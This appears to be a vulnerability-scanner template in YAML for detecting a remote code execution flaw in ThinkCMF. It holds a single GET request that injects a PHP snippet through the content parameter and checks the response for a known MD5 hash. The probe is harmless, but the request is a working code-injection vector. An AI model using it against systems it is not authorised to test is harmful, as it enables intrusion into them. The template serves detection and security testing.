id: thinkcmf-arbitrary-code-execution

info:
  name: ThinkCMF - Remote Code Execution
  author: pikpikcu
  severity: high
  description: ThinkCMF is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://www.shuzhiduo.com/A/l1dygr36Je/
  tags: thinkcmf,rce
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "d9b2c63a497e2f30c4ad9ad083a00691"

      - type: status
        status:
          - 200

# Enhanced by md on 2022/10/05